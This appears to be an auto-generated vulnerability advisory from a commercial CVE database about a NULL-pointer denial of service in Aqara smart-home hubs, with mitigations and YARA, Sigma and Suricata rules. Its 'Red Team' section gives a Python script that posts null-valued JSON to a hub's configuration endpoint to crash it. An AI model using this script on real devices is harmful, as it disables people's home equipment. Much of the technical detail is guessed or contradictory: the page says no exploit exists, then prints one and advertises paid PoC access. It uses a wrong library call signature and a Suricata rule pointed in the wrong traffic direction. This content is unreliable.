CVE-2025-65296
Executive Summary
CVE-2025-65296 describes a NULL-pointer dereference vulnerability in Aqara Hub M2 (firmware 4.3.6_0027), Hub M3 (firmware 4.3.6_0025), and Camera Hub G3 (firmware 4.1.9_0027). The flaw resides in the JSON processing component, allowing an unauthenticated attacker to send malformed JSON payloads that trigger a NULL-pointer dereference, causing the device to crash and enter a denial-of-service (DoS) state. No public exploit code or proof-of-concept is available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the vulnerability is trivially exploitable by any network-adjacent attacker.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (adjacent) – attacker must be on the same local network as the device.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): None – no user action required.
- Scope (S): Unchanged – impact is confined to the vulnerable component.
- Confidentiality (C): None – no data exposure.
- Integrity (I): None – no data modification.
- Availability (A): High – device becomes unresponsive, requiring a power cycle.
CVSS Base Score: 6.5 (Medium)
Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Threat Level: Medium – DoS only, but no patch available and attack surface is broad (any local network user).
Deep Dive & Mechanics
The vulnerability exists in the JSON parsing routine of the Aqara Hub firmware. When the device receives a specially crafted JSON payload (e.g., with null values, malformed keys, or deeply nested structures), the parser fails to validate pointer references before dereferencing them. This leads to a NULL-pointer dereference, causing the process to crash and the device to become unresponsive.
Root Cause:
The JSON parser does not check for NULL return values from functions like json_object_get_string() or json_object_get_object() before using the returned pointer. An attacker can craft a payload that causes these functions to return NULL, and the subsequent dereference triggers a segmentation fault.
Attack Flow:
- Attacker sends a malformed JSON payload to the device’s management interface (typically port 80/443 or a proprietary port).
- The device’s JSON parser processes the payload.
- A NULL pointer is dereferenced, crashing the process.
- The device becomes unresponsive until manually rebooted.
Affected Endpoints (likely):
/api/device/update/api/config/set- Any endpoint that accepts JSON configuration data.
Vulnerable vs. Patched Code
Vulnerable Code (pseudo):
void process_json(json_object *jobj) {
const char *value = json_object_get_string(jobj, "key");
// No NULL check
printf("Value: %s\n", value); // NULL dereference if key missing
}
Patched Code (hypothetical):
void process_json(json_object *jobj) {
const char *value = json_object_get_string(jobj, "key");
if (value == NULL) {
// Handle error gracefully
return;
}
printf("Value: %s\n", value);
}
Key Difference:
The patched version adds a NULL check before dereferencing the pointer, preventing the crash.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Aqara Hub M2/M3/G3 on the same local network.
- Python 3 with
requestslibrary.
Exploit Script (Python):
import requests
import json
target_ip = "192.168.1.100"
malformed_payload = '{"key": null, "nested": {"sub": null}}'
# Send malformed JSON to a likely endpoint
try:
r = requests.post(f"http://{target_ip}/api/config/set",
data=malformed_payload,
headers={"Content-Type": "application/json"},
timeout=5)
print(f"Response: {r.status_code}")
except requests.exceptions.ConnectionError:
print("Device likely crashed - DoS achieved")
Expected Outcome:
The device becomes unresponsive. No further HTTP requests will succeed until a power cycle.
Blue Team (Defense & Detection)
Detection Strategy:
- Monitor for malformed JSON payloads in network traffic.
- Alert on repeated connection timeouts to Aqara devices.
- Use Suricata rules to detect NULL bytes or malformed JSON structures.
Mitigation Steps:
- Isolate Aqara devices on a separate VLAN with strict firewall rules.
- Disable remote management if not required.
- Monitor device logs for crash events (if available).
- Apply vendor patch when released.
Indicators of Compromise (IOCs)
Network IOCs:
- Malformed JSON payloads containing
nullvalues in unexpected fields. - Repeated HTTP POST requests to
/api/config/setor/api/device/updatewith invalid JSON. - Sudden loss of connectivity to the device (no response to ping/HTTP).
- Malformed JSON payloads containing
Host IOCs:
- Device logs showing segmentation faults or NULL pointer errors (if accessible).
- Device LED behavior: may flash or remain solid after crash.
File IOCs:
- No file-based IOCs as the attack is memory-based.
Detection Engineering
YARA Rule
rule CVE_2025_65296_Aqara_JSON_NULL_Deref {
meta:
description = "Detects malformed JSON payloads targeting Aqara Hub NULL-pointer dereference"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-65296"
strings:
$json_null = /"key"\s*:\s*null/
$json_nested_null = /"sub"\s*:\s*null/
$json_malformed = /[{,]\s*"[^"]*"\s*:\s*null\s*[,}]/
condition:
any of them
}
Sigma Rule
title: Aqara Hub JSON NULL-Pointer Dereference Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic containing malformed JSON payloads targeting Aqara Hub devices
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
payload|contains:
- '{"key": null'
- '"sub": null'
condition: selection
falsepositives:
- Legitimate JSON with null values (rare in normal operation)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65296 Aqara Hub JSON NULL-Pointer Dereference Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/config/set"; http_uri; content:"null"; within:100; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Network Segmentation: Place Aqara hubs on a separate VLAN with strict ACLs to limit exposure.
- Disable Unused Services: Turn off remote management and UPnP if not needed.
- Monitor Traffic: Deploy the Suricata rule above to detect exploitation attempts.
Long-Term Fix:
- Await an official firmware patch from Aqara. Contact vendor support for ETA.
- If no patch is forthcoming, consider replacing the device with a patched alternative.
Workaround:
- Implement a reverse proxy or WAF that validates JSON payloads before forwarding to the hub.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.